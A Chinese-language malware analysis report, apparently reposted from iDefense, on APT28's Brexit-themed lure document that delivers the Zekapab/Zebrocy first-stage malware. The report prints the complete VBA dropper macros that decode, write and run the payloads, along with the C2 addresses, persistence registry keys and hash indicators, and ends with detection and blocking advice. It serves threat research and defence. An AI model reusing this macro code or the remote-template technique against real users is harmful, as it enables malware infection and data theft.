APT28新动向:利用英国脱欧主题钓鱼邮件传播Zekapab恶意软件

栏目: ASP.NET · 发布时间: 6年前

内容简介:在英国首相特雷莎·梅宣布与欧盟(EU)达成BREXIT(英国脱欧)初步协议草案的同时,iDefense公司的分析人士指出,SNAKEMACKEREL利用一份以BREXIT为主题的诱饵文档,交付了一款名为“Zekapab(也被称为Zebrocy)”的第一阶段恶意软件。SNAKEMACKEREL是一个以开展间谍活动为主的网络犯罪组织,也被称为Sofacy、Pawn Storm、Sednit、Fancy Bear、APT28、group 74、Tsar Team和Strontium。英国和荷兰政府都曾公然表示,

APT28新动向:利用英国脱欧主题钓鱼邮件传播Zekapab恶意软件

在英国首相特雷莎·梅宣布与欧盟(EU)达成BREXIT(英国脱欧)初步协议草案的同时,iDefense公司的分析人士指出,SNAKEMACKEREL利用一份以BREXIT为主题的诱饵文档,交付了一款名为“Zekapab(也被称为Zebrocy)”的第一阶段恶意软件。

SNAKEMACKEREL是一个以开展间谍活动为主的网络犯罪组织,也被称为Sofacy、Pawn Storm、Sednit、Fancy Bear、APT28、group 74、Tsar Team和Strontium。英国和荷兰政府都曾公然表示,SNAKEMACKEREL隶属于俄罗斯军事情报服务机构(RIS),并与一些特定的网络攻击事件存在关联,包括针对禁止化学武器组织(OPCW)、英国国防和科学技术实验室(DSTL),以及英国外交和联邦事务部(FCO)的攻击。

需要指出的是,这份恶意文档是在英国政府宣布与欧盟达成BREXIT初步协议草案的同一天创建的。这似乎表明,SNAKEMACKEREL是一个密切关注政治事件的网络犯罪组织,能够利用最新的新闻事件来创建诱饵文档,以针对特定目标交付第一阶段恶意软件,如Zekapab。

尽管存在大量有关该组织的公开报道和来自各国政府的指控,但SNAKEMACKEREL仍然非常活跃。它被认为是大量针对全球航空航天和国防承包商、军事组织、政党、国际奥委会(IOC)、反兴奋剂机构、政府部门和各种垂直领域的网络攻击的幕后黑手。到目前为止,SNAKEMACKEREL仍然被认为是影响最为深远,也是最为复杂的网络间谍组织之一。

本报告将针对一份以“BREXIT”为主题的诱饵Microsoft Office文档进行技术分析。如上所述,该文档被用于释放SNAKEMACKEREL活动的第一阶段恶意软件(Delphi版本的Zekapab),iDefense分析师此前曾发表过有关该恶意软件的报告。然而,在对C2服务器109.248.148.42的进一步研究中,iDefense公司的分析师发现了Zekapab的一个新版本(.NET版本),它被设计用于相同的目的。

恶意软件分析

iDefense公司的分析师在最近发现了一份恶意文档,据称与近期英国和欧盟之间的BREXIT谈判有关。

该文件具有以下元数据:

  • 文件名:Brexit 15.11.2018.docx
  • MD5:405655 be03df45881aa88b55603bef1d
  • 文件大小:9 KB(19354字节)
  • 作者:USER
  • 最后修改人:Joohn
  • 版本:Grizli777
  • 创作时间:2018:11:14 14:17:00
  • 修改日期:2018:11:15 04:50:00

这里需要指出的是,Grizli777是Microsoft Word的一个破解版本。

为了诱使目标启用宏,攻击者故意使用了乱码作为文档的内容(见图1):

APT28新动向:利用英国脱欧主题钓鱼邮件传播Zekapab恶意软件

图1. 使用乱码作为文档的内容,以诱使目标启用宏

该文档被设计为通过内嵌在DOCX文档中的settings.xml.rels组件来从hxxp://109.248.148.42/office/thememl/2012/main/attachedTemplate.dotm加载恶意内容(见图2):

APT28新动向:利用英国脱欧主题钓鱼邮件传播Zekapab恶意软件

图2.通过settings.xml.rels加载的恶意内容(宏组件)

下载的宏组件包括一个名为AutoClose()的函数(见图3),以及以Base64编码字符串的形式嵌入的两个payload:

APT28新动向:利用英国脱欧主题钓鱼邮件传播Zekapab恶意软件

图3.AutoClose() 函数

如下代码片段展示的是宏代码的核心部分,与另一起活动(发生于2018年4月份,由ESET报道的)中的宏代码完全相同:

Public Function FolderExists(FolderPath As String) As Boolean
On Error Resume Next
ChDir FolderPath
If Err Then FolderExists = False Else FolderExists = True
End Function
Function FileExists(fname) As Boolean
On Error Resume Next
FileExists = Dir(fname) <> vbNullString
If Err.Number <> 0 Then FileExists = False
On Error GoTo 0
End Function
Sub AutoClose()
Dim vFileName As String
Dim vDocName As String
Application.ActiveWindow.WindowState = wdWindowStateMinimize
vAdd = "ntslwin."
vFileName = Environ("APPDATA") & "\NetworkNV\"
If Not FolderExists(vFileName) Then MkDir (vFileName)
vFileName = vFileName + vAdd & "exe"
If Not FileExists(vFileName) Then SaveFN vFileName, convText(Us
erForm1.Label2.Caption)
'Sleep 2002
vDocName = Environ("TEMP") & "\~de03fc12a.docm"
If Not FileExists(vDocName) Then SaveFN vDocName, convText(User
Form1.Label1.Caption)
zyx (vDocName)
Application.Quit
End Sub
Private Function convText(dsf)
Dim dm, el
Set dm = CreateObject("Microsoft.XMLDOM")
Set el = dm.CreateElement("tmp")
el.DataType = "bin.base64"
el.Text = dsf
convText = el.NodeTypedValue
End Function
Private Sub SaveFN(vNum, vBun)
Dim binaryStream
Set binaryStream = CreateObject("ADODB.Stream")
binaryStream.Type = 1
binaryStream.Open
binaryStream.Write vBun
binaryStream.SaveToFile vNum, 2
End Sub
Public Function zyx(vF)
Dim WA As Object, oMyDoc As Object
Set WA = CreateObject("Word.Application")
WA.Visible = False
Set oMyDoc = WA.Documents.Open(vF)
WA.Application.Run "Module1.Proc1"
Set oMyDoc = Nothing: Set WA = Nothing
End Function
Public Function WriteBinary(strBinary, strPath)
Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject
")
Dim oTxtStream
On Error Resume Next
Set oTxtStream = oFSO.createTextFile(strPath)
Set oTxtStream = Nothing
With oFSO.createTextFile(strPath)
.Write (strBinary)
.Close
End With
End Function

基于对恶意IP地址109.248.148.42的研究,我们发现了两个不同的.dotm组件:

组件1:

  • 文件名:dotm
  • MD5:018611b879b2bbd886e86b62484494da
  • 文件大小:5 MB(1612982字节)

组件2:

  • 文件名:dotm
  • MD5:2a794b55b839b3237482098957877326
  • 文件大小:2 MB(1228358字节)

这两个组件分别是从以下URL被释放的:

  • hxxp://109.248.148.42/office/thememl/2012/main/attachedTemplate.dotm
  • hxxp://109.248.148.42/officeDocument/2006/relationships/templates.dotm

这两个组件都包含如上所示的相同的VBA宏代码,且都包含两个不同的payload:一个是可执行二进制文件,另一个是.docm文件。

attachedTemplate.dotm释放了如下文件:

可执行二进制文件:

  • 文件名:exe
  • MD5:7 e67122d3a052e4755b02965e2e56a2e
  • 文件大小:0 KB(393216字节)
  • 文件类型:使用UPX压缩的Win32可执行文件

.docm文件:

  • 文件名:~ de03fc12a.docm
  • MD5:9 d703d31795bac83c4dd90527d149796
  • 文件大小:0 KB(24659字节)

templates.dotm释放了如下文件:

可执行二进制文件:

  • 文件名:exe
  • MD5:a13c864980159cd9bdc94074b2389dda
  • 编译时间戳:2018-11-13 10:45:42
  • 文件大小:0 KB(32768字节)
  • 文件类型:MS Windows (GUI) Intel 80386 32位Mono/.Net程序集PE32可执行文件

.docm文件:

  • 文件名:~ de03fc12a.docm
  • MD5:9 d703d31795bac83c4dd90527d149796
  • 文件大小:0 KB(24659字节)

其中,~de03fc12a.docm包含一个简单的宏来执行被释放的可执行文件。如下代码片段展示的是~de03fc12a.docm所包含的宏代码:

Sub Proc1()
Dim vFileName As String
Dim add As String
vAdd = "ntslwin."
vFileName = Environ("APPDATA") & "\NetworkNV\"
vFileName = vFileName + vAdd & "exe"
Shell vFileName
Application.Quit
End Sub

对上述两个二进制文件的分析表明,它们实际上分别是Delphi(最初是使用UPX打包的)版本和.NET版本的Zekapab。以下网络流量是由Delphi版本的Zekapab生成的,该样本在UPX解压缩后具有以下元数据:

  • 文件名:exe
  • MD5:f4cab3a393462a57639faa978a75d10a
  • 文件大小:5 KB(1008128字节)
  • 文件类型:Win32可执行文件Borland Delphi 7

图4展示的是由Delphi版本的Zekapab生成的网络流量,一个包含所收集的系统信息的HTTP POST请求。如图4所示,发送的数据似乎是经过URL编码的。

APT28新动向:利用英国脱欧主题钓鱼邮件传播Zekapab恶意软件

图4.由Delphi版本的Zekapab生成的网络流量

需要指出的是,由.NET版本的Zekapab生成的网络流量是没有经过编码的(见图5)。

APT28新动向:利用英国脱欧主题钓鱼邮件传播Zekapab恶意软件

图5.由.NET版本的Zekapab生成的网络流量

无论如何,这两个版本都旨在收集系统信息和正在运行的进程,并使用HTTP POST将它们发送给指定的C2服务器,使用的URI都是“/agr-enum/progress-inform/cube.php?res=”。

一旦攻击者表示对你的设备感兴趣,下一个阶段的恶意软件就将被交付到相应的目录。同时,一个注册表项将被添加并设置,以实现恶意软件随开机自行启动。

对于Delphi版本,以下注册表项和值被用于实现持久性:

  • 注册表项:HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AudioMgr
  • 值:%AppData%\Video\videodrv.exe

对于.NET版本,以下注册表项和值被用于实现持久性:

  • 注册表项:HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GoogleIndexer
  • 值:%AppData%\Platform\sslwin.exe

在.NET版本中,用来收集数据的函数如下所示:

APT28新动向:利用英国脱欧主题钓鱼邮件传播Zekapab恶意软件

图6.NET版本的Zekapab用来收集数据的函数

被收集的数据包括:

  • 来自命令systeminfo和tasklist的结果
  • 当前执行路径
  • 抓取的屏幕截图
  • 枚举驱动器
  • 驱动器序列号

用于下载并执行下一阶段恶意软件的代码如下,包括用于实现持久性的设置:

APT28新动向:利用英国脱欧主题钓鱼邮件传播Zekapab恶意软件

图7..NET版本的Zekapab用来下载并执行下一阶段恶意软件的代码

如上图所示,是否交付下一阶段恶意软件,取决于收集到的信息。

缓解措施

为了避免遭受本报告所描述的恶意软件的侵害,iDefense建议阻断对以下IP地址和URI模式的访问:

  • 248.148.42
  • /agr-enum/progress-inform/cube.php?res=

想要验证设备是否已经遭到感染,iDefense建议搜索以下内容:

  • 网络:是否存在上述提到的HTTP和DNS流量
  • 系统:是否存在以下内容:
    • 注册表项:
      • HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AudioMgr
      • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GoogleInde xer
    • 文件:
  • %AppData%\Video\videodrv.exe
  • %AppData%\Platform\sslwin.exe
  • 其他一些文件,散列值:
    • 405655be03df45881aa88b55603bef1d
    • 7e67122d3a052e4755b02965e2e56a2e
    • a13c864980159cd9bdc94074b2389dda
    • 9d703d31795bac83c4dd90527d149796

声明:本文来自黑客视界,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如需转载,请联系原作者获取授权。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Spring in Action

Spring in Action

Craig Walls / Manning Publications / 2011-6-29 / USD 49.99

Spring in Action, Third Edition has been completely revised to reflect the latest features, tools, practices Spring offers to java developers. It begins by introducing the core concepts of Spring and......一起来看看 《Spring in Action》 这本书的介绍吧!

URL 编码/解码
URL 编码/解码

URL 编码/解码

SHA 加密
SHA 加密

SHA 加密工具

html转js在线工具
html转js在线工具

html转js在线工具